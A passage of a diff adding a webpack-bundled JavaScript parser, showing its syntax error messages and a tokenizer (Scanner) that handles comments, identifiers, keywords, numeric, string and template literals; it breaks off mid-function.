+	    BadSetterRestParameter: 'Setter function argument must not be a rest parameter',
+	    ConstructorIsAsync: 'Class constructor may not be an async method',
+	    ConstructorSpecialMethod: 'Class constructor may not be an accessor',
+	    DeclarationMissingInitializer: 'Missing initializer in %0 declaration',
+	    DefaultRestParameter: 'Unexpected token =',
+	    DuplicateBinding: 'Duplicate binding %0',
+	    DuplicateConstructor: 'A class may only have one constructor',
+	    DuplicateProtoProperty: 'Duplicate __proto__ fields are not allowed in object literals',
+	    ForInOfLoopInitializer: '%0 loop variable declaration may not have an initializer',
+	    GeneratorInLegacyContext: 'Generator declarations are not allowed in legacy contexts',
+	    IllegalBreak: 'Illegal break statement',
+	    IllegalContinue: 'Illegal continue statement',
+	    IllegalExportDeclaration: 'Unexpected token',
+	    IllegalImportDeclaration: 'Unexpected token',
+	    IllegalLanguageModeDirective: 'Illegal \'use strict\' directive in function with non-simple parameter list',
+	    IllegalReturn: 'Illegal return statement',
+	    InvalidEscapedReservedWord: 'Keyword must not contain escaped characters',
+	    InvalidHexEscapeSequence: 'Invalid hexadecimal escape sequence',
+	    InvalidLHSInAssignment: 'Invalid left-hand side in assignment',
+	    InvalidLHSInForIn: 'Invalid left-hand side in for-in',
+	    InvalidLHSInForLoop: 'Invalid left-hand side in for-loop',
+	    InvalidModuleSpecifier: 'Unexpected token',
+	    InvalidRegExp: 'Invalid regular expression',
+	    LetInLexicalBinding: 'let is disallowed as a lexically bound name',
+	    MissingFromClause: 'Unexpected token',
+	    MultipleDefaultsInSwitch: 'More than one default clause in switch statement',
+	    NewlineAfterThrow: 'Illegal newline after throw',
+	    NoAsAfterImportNamespace: 'Unexpected token',
+	    NoCatchOrFinally: 'Missing catch or finally after try',
+	    ParameterAfterRestParameter: 'Rest parameter must be last formal parameter',
+	    Redeclaration: '%0 \'%1\' has already been declared',
+	    StaticPrototype: 'Classes may not have static property named prototype',
+	    StrictCatchVariable: 'Catch variable may not be eval or arguments in strict mode',
+	    StrictDelete: 'Delete of an unqualified identifier in strict mode.',
+	    StrictFunction: 'In strict mode code, functions can only be declared at top level or inside a block',
+	    StrictFunctionName: 'Function name may not be eval or arguments in strict mode',
+	    StrictLHSAssignment: 'Assignment to eval or arguments is not allowed in strict mode',
+	    StrictLHSPostfix: 'Postfix increment/decrement may not have eval or arguments operand in strict mode',
+	    StrictLHSPrefix: 'Prefix increment/decrement may not have eval or arguments operand in strict mode',
+	    StrictModeWith: 'Strict mode code may not include a with statement',
+	    StrictOctalLiteral: 'Octal literals are not allowed in strict mode.',
+	    StrictParamDupe: 'Strict mode function may not have duplicate parameter names',
+	    StrictParamName: 'Parameter name eval or arguments is not allowed in strict mode',
+	    StrictReservedWord: 'Use of future reserved word in strict mode',
+	    StrictVarName: 'Variable name may not be eval or arguments in strict mode',
+	    TemplateOctalLiteral: 'Octal literals are not allowed in template strings.',
+	    UnexpectedEOS: 'Unexpected end of input',
+	    UnexpectedIdentifier: 'Unexpected identifier',
+	    UnexpectedNumber: 'Unexpected number',
+	    UnexpectedReserved: 'Unexpected reserved word',
+	    UnexpectedString: 'Unexpected string',
+	    UnexpectedTemplate: 'Unexpected quasi %0',
+	    UnexpectedToken: 'Unexpected token %0',
+	    UnexpectedTokenIllegal: 'Unexpected token ILLEGAL',
+	    UnknownLabel: 'Undefined label \'%0\'',
+	    UnterminatedRegExp: 'Invalid regular expression: missing /'
+	};
+
+
+/***/ },
+/* 12 */
+/***/ function(module, exports, __webpack_require__) {
+
+	"use strict";
+	Object.defineProperty(exports, "__esModule", { value: true });
+	var assert_1 = __webpack_require__(9);
+	var character_1 = __webpack_require__(4);
+	var messages_1 = __webpack_require__(11);
+	function hexValue(ch) {
+	    return '0123456789abcdef'.indexOf(ch.toLowerCase());
+	}
+	function octalValue(ch) {
+	    return '01234567'.indexOf(ch);
+	}
+	var Scanner = (function () {
+	    function Scanner(code, handler) {
+	        this.source = code;
+	        this.errorHandler = handler;
+	        this.trackComment = false;
+	        this.length = code.length;
+	        this.index = 0;
+	        this.lineNumber = (code.length > 0) ? 1 : 0;
+	        this.lineStart = 0;
+	        this.curlyStack = [];
+	    }
+	    Scanner.prototype.saveState = function () {
+	        return {
+	            index: this.index,
+	            lineNumber: this.lineNumber,
+	            lineStart: this.lineStart
+	        };
+	    };
+	    Scanner.prototype.restoreState = function (state) {
+	        this.index = state.index;
+	        this.lineNumber = state.lineNumber;
+	        this.lineStart = state.lineStart;
+	    };
+	    Scanner.prototype.eof = function () {
+	        return this.index >= this.length;
+	    };
+	    Scanner.prototype.throwUnexpectedToken = function (message) {
+	        if (message === void 0) { message = messages_1.Messages.UnexpectedTokenIllegal; }
+	        return this.errorHandler.throwError(this.index, this.lineNumber, this.index - this.lineStart + 1, message);
+	    };
+	    Scanner.prototype.tolerateUnexpectedToken = function (message) {
+	        if (message === void 0) { message = messages_1.Messages.UnexpectedTokenIllegal; }
+	        this.errorHandler.tolerateError(this.index, this.lineNumber, this.index - this.lineStart + 1, message);
+	    };
+	    // https://tc39.github.io/ecma262/#sec-comments
+	    Scanner.prototype.skipSingleLineComment = function (offset) {
+	        var comments = [];
+	        var start, loc;
+	        if (this.trackComment) {
+	            comments = [];
+	            start = this.index - offset;
+	            loc = {
+	                start: {
+	                    line: this.lineNumber,
+	                    column: this.index - this.lineStart - offset
+	                },
+	                end: {}
+	            };
+	        }
+	        while (!this.eof()) {
+	            var ch = this.source.charCodeAt(this.index);
+	            ++this.index;
+	            if (character_1.Character.isLineTerminator(ch)) {
+	                if (this.trackComment) {
+	                    loc.end = {
+	                        line: this.lineNumber,
+	                        column: this.index - this.lineStart - 1
+	                    };
+	                    var entry = {
+	                        multiLine: false,
+	                        slice: [start + offset, this.index - 1],
+	                        range: [start, this.index - 1],
+	                        loc: loc
+	                    };
+	                    comments.push(entry);
+	                }
+	                if (ch === 13 && this.source.charCodeAt(this.index) === 10) {
+	                    ++this.index;
+	                }
+	                ++this.lineNumber;
+	                this.lineStart = this.index;
+	                return comments;
+	            }
+	        }
+	        if (this.trackComment) {
+	            loc.end = {
+	                line: this.lineNumber,
+	                column: this.index - this.lineStart
+	            };
+	            var entry = {
+	                multiLine: false,
+	                slice: [start + offset, this.index],
+	                range: [start, this.index],
+	                loc: loc
+	            };
+	            comments.push(entry);
+	        }
+	        return comments;
+	    };
+	    Scanner.prototype.skipMultiLineComment = function () {
+	        var comments = [];
+	        var start, loc;
+	        if (this.trackComment) {
+	            comments = [];
+	            start = this.index - 2;
+	            loc = {
+	                start: {
+	                    line: this.lineNumber,
+	                    column: this.index - this.lineStart - 2
+	                },
+	                end: {}
+	            };
+	        }
+	        while (!this.eof()) {
+	            var ch = this.source.charCodeAt(this.index);
+	            if (character_1.Character.isLineTerminator(ch)) {
+	                if (ch === 0x0D && this.source.charCodeAt(this.index + 1) === 0x0A) {
+	                    ++this.index;
+	                }
+	                ++this.lineNumber;
+	                ++this.index;
+	                this.lineStart = this.index;
+	            }
+	            else if (ch === 0x2A) {
+	                // Block comment ends with '*/'.
+	                if (this.source.charCodeAt(this.index + 1) === 0x2F) {
+	                    this.index += 2;
+	                    if (this.trackComment) {
+	                        loc.end = {
+	                            line: this.lineNumber,
+	                            column: this.index - this.lineStart
+	                        };
+	                        var entry = {
+	                            multiLine: true,
+	                            slice: [start + 2, this.index - 2],
+	                            range: [start, this.index],
+	                            loc: loc
+	                        };
+	                        comments.push(entry);
+	                    }
+	                    return comments;
+	                }
+	                ++this.index;
+	            }
+	            else {
+	                ++this.index;
+	            }
+	        }
+	        // Ran off the end of the file - the whole thing is a comment
+	        if (this.trackComment) {
+	            loc.end = {
+	                line: this.lineNumber,
+	                column: this.index - this.lineStart
+	            };
+	            var entry = {
+	                multiLine: true,
+	                slice: [start + 2, this.index],
+	                range: [start, this.index],
+	                loc: loc
+	            };
+	            comments.push(entry);
+	        }
+	        this.tolerateUnexpectedToken();
+	        return comments;
+	    };
+	    Scanner.prototype.scanComments = function () {
+	        var comments;
+	        if (this.trackComment) {
+	            comments = [];
+	        }
+	        var start = (this.index === 0);
+	        while (!this.eof()) {
+	            var ch = this.source.charCodeAt(this.index);
+	            if (character_1.Character.isWhiteSpace(ch)) {
+	                ++this.index;
+	            }
+	            else if (character_1.Character.isLineTerminator(ch)) {
+	                ++this.index;
+	                if (ch === 0x0D && this.source.charCodeAt(this.index) === 0x0A) {
+	                    ++this.index;
+	                }
+	                ++this.lineNumber;
+	                this.lineStart = this.index;
+	                start = true;
+	            }
+	            else if (ch === 0x2F) {
+	                ch = this.source.charCodeAt(this.index + 1);
+	                if (ch === 0x2F) {
+	                    this.index += 2;
+	                    var comment = this.skipSingleLineComment(2);
+	                    if (this.trackComment) {
+	                        comments = comments.concat(comment);
+	                    }
+	                    start = true;
+	                }
+	                else if (ch === 0x2A) {
+	                    this.index += 2;
+	                    var comment = this.skipMultiLineComment();
+	                    if (this.trackComment) {
+	                        comments = comments.concat(comment);
+	                    }
+	                }
+	                else {
+	                    break;
+	                }
+	            }
+	            else if (start && ch === 0x2D) {
+	                // U+003E is '>'
+	                if ((this.source.charCodeAt(this.index + 1) === 0x2D) && (this.source.charCodeAt(this.index + 2) === 0x3E)) {
+	                    // '-->' is a single-line comment
+	                    this.index += 3;
+	                    var comment = this.skipSingleLineComment(3);
+	                    if (this.trackComment) {
+	                        comments = comments.concat(comment);
+	                    }
+	                }
+	                else {
+	                    break;
+	                }
+	            }
+	            else if (ch === 0x3C) {
+	                if (this.source.slice(this.index + 1, this.index + 4) === '!--') {
+	                    this.index += 4; // `<!--`
+	                    var comment = this.skipSingleLineComment(4);
+	                    if (this.trackComment) {
+	                        comments = comments.concat(comment);
+	                    }
+	                }
+	                else {
+	                    break;
+	                }
+	            }
+	            else {
+	                break;
+	            }
+	        }
+	        return comments;
+	    };
+	    // https://tc39.github.io/ecma262/#sec-future-reserved-words
+	    Scanner.prototype.isFutureReservedWord = function (id) {
+	        switch (id) {
+	            case 'enum':
+	            case 'export':
+	            case 'import':
+	            case 'super':
+	                return true;
+	            default:
+	                return false;
+	        }
+	    };
+	    Scanner.prototype.isStrictModeReservedWord = function (id) {
+	        switch (id) {
+	            case 'implements':
+	            case 'interface':
+	            case 'package':
+	            case 'private':
+	            case 'protected':
+	            case 'public':
+	            case 'static':
+	            case 'yield':
+	            case 'let':
+	                return true;
+	            default:
+	                return false;
+	        }
+	    };
+	    Scanner.prototype.isRestrictedWord = function (id) {
+	        return id === 'eval' || id === 'arguments';
+	    };
+	    // https://tc39.github.io/ecma262/#sec-keywords
+	    Scanner.prototype.isKeyword = function (id) {
+	        switch (id.length) {
+	            case 2:
+	                return (id === 'if') || (id === 'in') || (id === 'do');
+	            case 3:
+	                return (id === 'var') || (id === 'for') || (id === 'new') ||
+	                    (id === 'try') || (id === 'let');
+	            case 4:
+	                return (id === 'this') || (id === 'else') || (id === 'case') ||
+	                    (id === 'void') || (id === 'with') || (id === 'enum');
+	            case 5:
+	                return (id === 'while') || (id === 'break') || (id === 'catch') ||
+	                    (id === 'throw') || (id === 'const') || (id === 'yield') ||
+	                    (id === 'class') || (id === 'super');
+	            case 6:
+	                return (id === 'return') || (id === 'typeof') || (id === 'delete') ||
+	                    (id === 'switch') || (id === 'export') || (id === 'import');
+	            case 7:
+	                return (id === 'default') || (id === 'finally') || (id === 'extends');
+	            case 8:
+	                return (id === 'function') || (id === 'continue') || (id === 'debugger');
+	            case 10:
+	                return (id === 'instanceof');
+	            default:
+	                return false;
+	        }
+	    };
+	    Scanner.prototype.codePointAt = function (i) {
+	        var cp = this.source.charCodeAt(i);
+	        if (cp >= 0xD800 && cp <= 0xDBFF) {
+	            var second = this.source.charCodeAt(i + 1);
+	            if (second >= 0xDC00 && second <= 0xDFFF) {
+	                var first = cp;
+	                cp = (first - 0xD800) * 0x400 + second - 0xDC00 + 0x10000;
+	            }
+	        }
+	        return cp;
+	    };
+	    Scanner.prototype.scanHexEscape = function (prefix) {
+	        var len = (prefix === 'u') ? 4 : 2;
+	        var code = 0;
+	        for (var i = 0; i < len; ++i) {
+	            if (!this.eof() && character_1.Character.isHexDigit(this.source.charCodeAt(this.index))) {
+	                code = code * 16 + hexValue(this.source[this.index++]);
+	            }
+	            else {
+	                return null;
+	            }
+	        }
+	        return String.fromCharCode(code);
+	    };
+	    Scanner.prototype.scanUnicodeCodePointEscape = function () {
+	        var ch = this.source[this.index];
+	        var code = 0;
+	        // At least, one hex digit is required.
+	        if (ch === '}') {
+	            this.throwUnexpectedToken();
+	        }
+	        while (!this.eof()) {
+	            ch = this.source[this.index++];
+	            if (!character_1.Character.isHexDigit(ch.charCodeAt(0))) {
+	                break;
+	            }
+	            code = code * 16 + hexValue(ch);
+	        }
+	        if (code > 0x10FFFF || ch !== '}') {
+	            this.throwUnexpectedToken();
+	        }
+	        return character_1.Character.fromCodePoint(code);
+	    };
+	    Scanner.prototype.getIdentifier = function () {
+	        var start = this.index++;
+	        while (!this.eof()) {
+	            var ch = this.source.charCodeAt(this.index);
+	            if (ch === 0x5C) {
+	                // Blackslash (U+005C) marks Unicode escape sequence.
+	                this.index = start;
+	                return this.getComplexIdentifier();
+	            }
+	            else if (ch >= 0xD800 && ch < 0xDFFF) {
+	                // Need to handle surrogate pairs.
+	                this.index = start;
+	                return this.getComplexIdentifier();
+	            }
+	            if (character_1.Character.isIdentifierPart(ch)) {
+	                ++this.index;
+	            }
+	            else {
+	                break;
+	            }
+	        }
+	        return this.source.slice(start, this.index);
+	    };
+	    Scanner.prototype.getComplexIdentifier = function () {
+	        var cp = this.codePointAt(this.index);
+	        var id = character_1.Character.fromCodePoint(cp);
+	        this.index += id.length;
+	        // '\u' (U+005C, U+0075) denotes an escaped character.
+	        var ch;
+	        if (cp === 0x5C) {
+	            if (this.source.charCodeAt(this.index) !== 0x75) {
+	                this.throwUnexpectedToken();
+	            }
+	            ++this.index;
+	            if (this.source[this.index] === '{') {
+	                ++this.index;
+	                ch = this.scanUnicodeCodePointEscape();
+	            }
+	            else {
+	                ch = this.scanHexEscape('u');
+	                if (ch === null || ch === '\\' || !character_1.Character.isIdentifierStart(ch.charCodeAt(0))) {
+	                    this.throwUnexpectedToken();
+	                }
+	            }
+	            id = ch;
+	        }
+	        while (!this.eof()) {
+	            cp = this.codePointAt(this.index);
+	            if (!character_1.Character.isIdentifierPart(cp)) {
+	                break;
+	            }
+	            ch = character_1.Character.fromCodePoint(cp);
+	            id += ch;
+	            this.index += ch.length;
+	            // '\u' (U+005C, U+0075) denotes an escaped character.
+	            if (cp === 0x5C) {
+	                id = id.substr(0, id.length - 1);
+	                if (this.source.charCodeAt(this.index) !== 0x75) {
+	                    this.throwUnexpectedToken();
+	                }
+	                ++this.index;
+	                if (this.source[this.index] === '{') {
+	                    ++this.index;
+	                    ch = this.scanUnicodeCodePointEscape();
+	                }
+	                else {
+	                    ch = this.scanHexEscape('u');
+	                    if (ch === null || ch === '\\' || !character_1.Character.isIdentifierPart(ch.charCodeAt(0))) {
+	                        this.throwUnexpectedToken();
+	                    }
+	                }
+	                id += ch;
+	            }
+	        }
+	        return id;
+	    };
+	    Scanner.prototype.octalToDecimal = function (ch) {
+	        // \0 is not octal escape sequence
+	        var octal = (ch !== '0');
+	        var code = octalValue(ch);
+	        if (!this.eof() && character_1.Character.isOctalDigit(this.source.charCodeAt(this.index))) {
+	            octal = true;
+	            code = code * 8 + octalValue(this.source[this.index++]);
+	            // 3 digits are only allowed when string starts
+	            // with 0, 1, 2, 3
+	            if ('0123'.indexOf(ch) >= 0 && !this.eof() && character_1.Character.isOctalDigit(this.source.charCodeAt(this.index))) {
+	                code = code * 8 + octalValue(this.source[this.index++]);
+	            }
+	        }
+	        return {
+	            code: code,
+	            octal: octal
+	        };
+	    };
+	    // https://tc39.github.io/ecma262/#sec-names-and-keywords
+	    Scanner.prototype.scanIdentifier = function () {
+	        var type;
+	        var start = this.index;
+	        // Backslash (U+005C) starts an escaped character.
+	        var id = (this.source.charCodeAt(start) === 0x5C) ? this.getComplexIdentifier() : this.getIdentifier();
+	        // There is no keyword or literal with only one character.
+	        // Thus, it must be an identifier.
+	        if (id.length === 1) {
+	            type = 3 /* Identifier */;
+	        }
+	        else if (this.isKeyword(id)) {
+	            type = 4 /* Keyword */;
+	        }
+	        else if (id === 'null') {
+	            type = 5 /* NullLiteral */;
+	        }
+	        else if (id === 'true' || id === 'false') {
+	            type = 1 /* BooleanLiteral */;
+	        }
+	        else {
+	            type = 3 /* Identifier */;
+	        }
+	        if (type !== 3 /* Identifier */ && (start + id.length !== this.index)) {
+	            var restore = this.index;
+	            this.index = start;
+	            this.tolerateUnexpectedToken(messages_1.Messages.InvalidEscapedReservedWord);
+	            this.index = restore;
+	        }
+	        return {
+	            type: type,
+	            value: id,
+	            lineNumber: this.lineNumber,
+	            lineStart: this.lineStart,
+	            start: start,
+	            end: this.index
+	        };
+	    };
+	    // https://tc39.github.io/ecma262/#sec-punctuators
+	    Scanner.prototype.scanPunctuator = function () {
+	        var start = this.index;
+	        // Check for most common single-character punctuators.
+	        var str = this.source[this.index];
+	        switch (str) {
+	            case '(':
+	            case '{':
+	                if (str === '{') {
+	                    this.curlyStack.push('{');
+	                }
+	                ++this.index;
+	                break;
+	            case '.':
+	                ++this.index;
+	                if (this.source[this.index] === '.' && this.source[this.index + 1] === '.') {
+	                    // Spread operator: ...
+	                    this.index += 2;
+	                    str = '...';
+	                }
+	                break;
+	            case '}':
+	                ++this.index;
+	                this.curlyStack.pop();
+	                break;
+	            case ')':
+	            case ';':
+	            case ',':
+	            case '[':
+	            case ']':
+	            case ':':
+	            case '?':
+	            case '~':
+	                ++this.index;
+	                break;
+	            default:
+	                // 4-character punctuator.
+	                str = this.source.substr(this.index, 4);
+	                if (str === '>>>=') {
+	                    this.index += 4;
+	                }
+	                else {
+	                    // 3-character punctuators.
+	                    str = str.substr(0, 3);
+	                    if (str === '===' || str === '!==' || str === '>>>' ||
+	                        str === '<<=' || str === '>>=' || str === '**=') {
+	                        this.index += 3;
+	                    }
+	                    else {
+	                        // 2-character punctuators.
+	                        str = str.substr(0, 2);
+	                        if (str === '&&' || str === '||' || str === '==' || str === '!=' ||
+	                            str === '+=' || str === '-=' || str === '*=' || str === '/=' ||
+	                            str === '++' || str === '--' || str === '<<' || str === '>>' ||
+	                            str === '&=' || str === '|=' || str === '^=' || str === '%=' ||
+	                            str === '<=' || str === '>=' || str === '=>' || str === '**') {
+	                            this.index += 2;
+	                        }
+	                        else {
+	                            // 1-character punctuators.
+	                            str = this.source[this.index];
+	                            if ('<>=!+-*%&|^/'.indexOf(str) >= 0) {
+	                                ++this.index;
+	                            }
+	                        }
+	                    }
+	                }
+	        }
+	        if (this.index === start) {
+	            this.throwUnexpectedToken();
+	        }
+	        return {
+	            type: 7 /* Punctuator */,
+	            value: str,
+	            lineNumber: this.lineNumber,
+	            lineStart: this.lineStart,
+	            start: start,
+	            end: this.index
+	        };
+	    };
+	    // https://tc39.github.io/ecma262/#sec-literals-numeric-literals
+	    Scanner.prototype.scanHexLiteral = function (start) {
+	        var num = '';
+	        while (!this.eof()) {
+	            if (!character_1.Character.isHexDigit(this.source.charCodeAt(this.index))) {
+	                break;
+	            }
+	            num += this.source[this.index++];
+	        }
+	        if (num.length === 0) {
+	            this.throwUnexpectedToken();
+	        }
+	        if (character_1.Character.isIdentifierStart(this.source.charCodeAt(this.index))) {
+	            this.throwUnexpectedToken();
+	        }
+	        return {
+	            type: 6 /* NumericLiteral */,
+	            value: parseInt('0x' + num, 16),
+	            lineNumber: this.lineNumber,
+	            lineStart: this.lineStart,
+	            start: start,
+	            end: this.index
+	        };
+	    };
+	    Scanner.prototype.scanBinaryLiteral = function (start) {
+	        var num = '';
+	        var ch;
+	        while (!this.eof()) {
+	            ch = this.source[this.index];
+	            if (ch !== '0' && ch !== '1') {
+	                break;
+	            }
+	            num += this.source[this.index++];
+	        }
+	        if (num.length === 0) {
+	            // only 0b or 0B
+	            this.throwUnexpectedToken();
+	        }
+	        if (!this.eof()) {
+	            ch = this.source.charCodeAt(this.index);
+	            /* istanbul ignore else */
+	            if (character_1.Character.isIdentifierStart(ch) || character_1.Character.isDecimalDigit(ch)) {
+	                this.throwUnexpectedToken();
+	            }
+	        }
+	        return {
+	            type: 6 /* NumericLiteral */,
+	            value: parseInt(num, 2),
+	            lineNumber: this.lineNumber,
+	            lineStart: this.lineStart,
+	            start: start,
+	            end: this.index
+	        };
+	    };
+	    Scanner.prototype.scanOctalLiteral = function (prefix, start) {
+	        var num = '';
+	        var octal = false;
+	        if (character_1.Character.isOctalDigit(prefix.charCodeAt(0))) {
+	            octal = true;
+	            num = '0' + this.source[this.index++];
+	        }
+	        else {
+	            ++this.index;
+	        }
+	        while (!this.eof()) {
+	            if (!character_1.Character.isOctalDigit(this.source.charCodeAt(this.index))) {
+	                break;
+	            }
+	            num += this.source[this.index++];
+	        }
+	        if (!octal && num.length === 0) {
+	            // only 0o or 0O
+	            this.throwUnexpectedToken();
+	        }
+	        if (character_1.Character.isIdentifierStart(this.source.charCodeAt(this.index)) || character_1.Character.isDecimalDigit(this.source.charCodeAt(this.index))) {
+	            this.throwUnexpectedToken();
+	        }
+	        return {
+	            type: 6 /* NumericLiteral */,
+	            value: parseInt(num, 8),
+	            octal: octal,
+	            lineNumber: this.lineNumber,
+	            lineStart: this.lineStart,
+	            start: start,
+	            end: this.index
+	        };
+	    };
+	    Scanner.prototype.isImplicitOctalLiteral = function () {
+	        // Implicit octal, unless there is a non-octal digit.
+	        // (Annex B.1.1 on Numeric Literals)
+	        for (var i = this.index + 1; i < this.length; ++i) {
+	            var ch = this.source[i];
+	            if (ch === '8' || ch === '9') {
+	                return false;
+	            }
+	            if (!character_1.Character.isOctalDigit(ch.charCodeAt(0))) {
+	                return true;
+	            }
+	        }
+	        return true;
+	    };
+	    Scanner.prototype.scanNumericLiteral = function () {
+	        var start = this.index;
+	        var ch = this.source[start];
+	        assert_1.assert(character_1.Character.isDecimalDigit(ch.charCodeAt(0)) || (ch === '.'), 'Numeric literal must start with a decimal digit or a decimal point');
+	        var num = '';
+	        if (ch !== '.') {
+	            num = this.source[this.index++];
+	            ch = this.source[this.index];
+	            // Hex number starts with '0x'.
+	            // Octal number starts with '0'.
+	            // Octal number in ES6 starts with '0o'.
+	            // Binary number in ES6 starts with '0b'.
+	            if (num === '0') {
+	                if (ch === 'x' || ch === 'X') {
+	                    ++this.index;
+	                    return this.scanHexLiteral(start);
+	                }
+	                if (ch === 'b' || ch === 'B') {
+	                    ++this.index;
+	                    return this.scanBinaryLiteral(start);
+	                }
+	                if (ch === 'o' || ch === 'O') {
+	                    return this.scanOctalLiteral(ch, start);
+	                }
+	                if (ch && character_1.Character.isOctalDigit(ch.charCodeAt(0))) {
+	                    if (this.isImplicitOctalLiteral()) {
+	                        return this.scanOctalLiteral(ch, start);
+	                    }
+	                }
+	            }
+	            while (character_1.Character.isDecimalDigit(this.source.charCodeAt(this.index))) {
+	                num += this.source[this.index++];
+	            }
+	            ch = this.source[this.index];
+	        }
+	        if (ch === '.') {
+	            num += this.source[this.index++];
+	            while (character_1.Character.isDecimalDigit(this.source.charCodeAt(this.index))) {
+	                num += this.source[this.index++];
+	            }
+	            ch = this.source[this.index];
+	        }
+	        if (ch === 'e' || ch === 'E') {
+	            num += this.source[this.index++];
+	            ch = this.source[this.index];
+	            if (ch === '+' || ch === '-') {
+	                num += this.source[this.index++];
+	            }
+	            if (character_1.Character.isDecimalDigit(this.source.charCodeAt(this.index))) {
+	                while (character_1.Character.isDecimalDigit(this.source.charCodeAt(this.index))) {
+	                    num += this.source[this.index++];
+	                }
+	            }
+	            else {
+	                this.throwUnexpectedToken();
+	            }
+	        }
+	        if (character_1.Character.isIdentifierStart(this.source.charCodeAt(this.index))) {
+	            this.throwUnexpectedToken();
+	        }
+	        return {
+	            type: 6 /* NumericLiteral */,
+	            value: parseFloat(num),
+	            lineNumber: this.lineNumber,
+	            lineStart: this.lineStart,
+	            start: start,
+	            end: this.index
+	        };
+	    };
+	    // https://tc39.github.io/ecma262/#sec-literals-string-literals
+	    Scanner.prototype.scanStringLiteral = function () {
+	        var start = this.index;
+	        var quote = this.source[start];
+	        assert_1.assert((quote === '\'' || quote === '"'), 'String literal must starts with a quote');
+	        ++this.index;
+	        var octal = false;
+	        var str = '';
+	        while (!this.eof()) {
+	            var ch = this.source[this.index++];
+	            if (ch === quote) {
+	                quote = '';
+	                break;
+	            }
+	            else if (ch === '\\') {
+	                ch = this.source[this.index++];
+	                if (!ch || !character_1.Character.isLineTerminator(ch.charCodeAt(0))) {
+	                    switch (ch) {
+	                        case 'u':
+	                            if (this.source[this.index] === '{') {
+	                                ++this.index;
+	                                str += this.scanUnicodeCodePointEscape();
+	                            }
+	                            else {
+	                                var unescaped_1 = this.scanHexEscape(ch);
+	                                if (unescaped_1 === null) {
+	                                    this.throwUnexpectedToken();
+	                                }
+	                                str += unescaped_1;
+	                            }
+	                            break;
+	                        case 'x':
+	                            var unescaped = this.scanHexEscape(ch);
+	                            if (unescaped === null) {
+	                                this.throwUnexpectedToken(messages_1.Messages.InvalidHexEscapeSequence);
+	                            }
+	                            str += unescaped;
+	                            break;
+	                        case 'n':
+	                            str += '\n';
+	                            break;
+	                        case 'r':
+	                            str += '\r';
+	                            break;
+	                        case 't':
+	                            str += '\t';
+	                            break;
+	                        case 'b':
+	                            str += '\b';
+	                            break;
+	                        case 'f':
+	                            str += '\f';
+	                            break;
+	                        case 'v':
+	                            str += '\x0B';
+	                            break;
+	                        case '8':
+	                        case '9':
+	                            str += ch;
+	                            this.tolerateUnexpectedToken();
+	                            break;
+	                        default:
+	                            if (ch && character_1.Character.isOctalDigit(ch.charCodeAt(0))) {
+	                                var octToDec = this.octalToDecimal(ch);
+	                                octal = octToDec.octal || octal;
+	                                str += String.fromCharCode(octToDec.code);
+	                            }
+	                            else {
+	                                str += ch;
+	                            }
+	                            break;
+	                    }
+	                }
+	                else {
+	                    ++this.lineNumber;
+	                    if (ch === '\r' && this.source[this.index] === '\n') {
+	                        ++this.index;
+	                    }
+	                    this.lineStart = this.index;
+	                }
+	            }
+	            else if (character_1.Character.isLineTerminator(ch.charCodeAt(0))) {
+	                break;
+	            }
+	            else {
+	                str += ch;
+	            }
+	        }
+	        if (quote !== '') {
+	            this.index = start;
+	            this.throwUnexpectedToken();
+	        }
+	        return {
+	            type: 8 /* StringLiteral */,
+	            value: str,
+	            octal: octal,
+	            lineNumber: this.lineNumber,
+	            lineStart: this.lineStart,
+	            start: start,
+	            end: this.index
+	        };
+	    };
+	    // https://tc39.github.io/ecma262/#sec-template-literal-lexical-components
+	    Scanner.prototype.scanTemplate = function () {
+	        var cooked = '';
+	        var terminated = false;
+	        var start = this.index;
+	        var head = (this.source[start] === '`');
+	        var tail = false;
+	        var rawOffset = 2;
+	        ++this.index;
+	        while (!this.eof()) {
+	            var ch = this.source[this.index++];
+	            if (ch === '`') {
+	                rawOffset = 1;
+	                tail = true;
+	                terminated = true;
+	                break;
+	            }
+	            else if (ch === '$') {
+	                if (this.source[this.index] === '{') {
+	                    this.curlyStack.push('${');
+	                    ++this.index;
+	                    terminated = true;
+	                    break;
+	                }
+	                cooked += ch;
+	            }
+	            else if (ch === '\\') {
+	                ch = this.source[this.index++];
+	                if (!character_1.Character.isLineTerminator(ch.charCodeAt(0))) {
+	                    switch (ch) {
+	                        case 'n':
+	                            cooked += '\n';
+	                            break;
+	                        case 'r':
+	                            cooked += '\r';
+	                            break;
+	                        case 't':
+	                            cooked += '\t';
+	                            break;
+	                        case 'u':
+	                            if (this.source[this.index] === '{') {
+	                                ++this.index;
+	                                cooked += this.scanUnicodeCodePointEscape();
+	                            }
+	                            else {
+	                                var restore = this.index;
+	                                var unescaped_2 = this.scanHexEscape(ch);
+	                                if (unescaped_2 !== null) {
+	                                    cooked += unescaped_2;
+	                                }
+	                                else {
+	                                    this.index = restore;
+	                                    cooked += ch;
+	                                }
+	                            }
+	                            break;
+	                        case 'x':
+	                            var unescaped = this.scanHexEscape(ch);
+	                            if (unescaped === null) {
+	                                this.throwUnexpectedToken(messages_1.Messages.InvalidHexEscapeSequence);
+	                            }
+	                            cooked += unescaped;
+	                            break;
+	                        case 'b':
+	                            cooked += '\b';
+	                            break;
+	                        case 'f':
+	                            cooked += '\f';
+	                            break;
+	                        case 'v':
+	                            cooked += '\v';
+	                            break;
+	                        default:
+	                            if (ch === '0') {
+	                                if (character_1.Character.isDecimalDigit(this.source.charCodeAt(this.index))) {
+	                                    // Illegal: \01 \02 and so on
+	                                    this.throwUnexpectedToken(messages_1.Messages.TemplateOctalLiteral);
+	                                }
+	                                cooked += '\0';
+	                            }
+	                            else if (character_1.Character.isOctalDigit(ch.charCodeAt(0))) {
+	                                // Illegal: \1 \2
+	                                this.throwUnexpectedToken(messages_1.Messages.TemplateOctalLiteral);
+	                            }
+	                            else {
+	                                cooked += ch;
+	                            }
+	                            break;
+	                    }
+	                }
+	                else {
+	                    ++this.lineNumber;
+	                    if (ch === '\r' && this.source[this.index] === '\n') {
+	                        ++this.index;
+	                    }
+	                    this.lineStart = this.index;
+	                }
+	            }
+	            else if (character_1.Character.isLineTerminator(ch.charCodeAt(0))) {
+	                ++this.lineNumber;
+	                if (ch === '\r' && this.source[this.index] === '\n') {
+	                    ++this.index;
+	                }
+	                this.lineStart = this.index;
+	                cooked += '\n';
+	            }
+	            else {
+	                cooked += ch;
+	            }
+	        }
+	        if (!terminated) {
+	            this.throwUnexpectedToken();
+	        }
+	        if (!head) {
+	            this.curlyStack.pop();
+	        }
+	        return {
+	            type: 10 /* Template */,
+	            value: this.source.slice(start + 1, this.index - rawOffset),
+	            cooked: cooked,
+	            head: head,
+	            tail: tail,
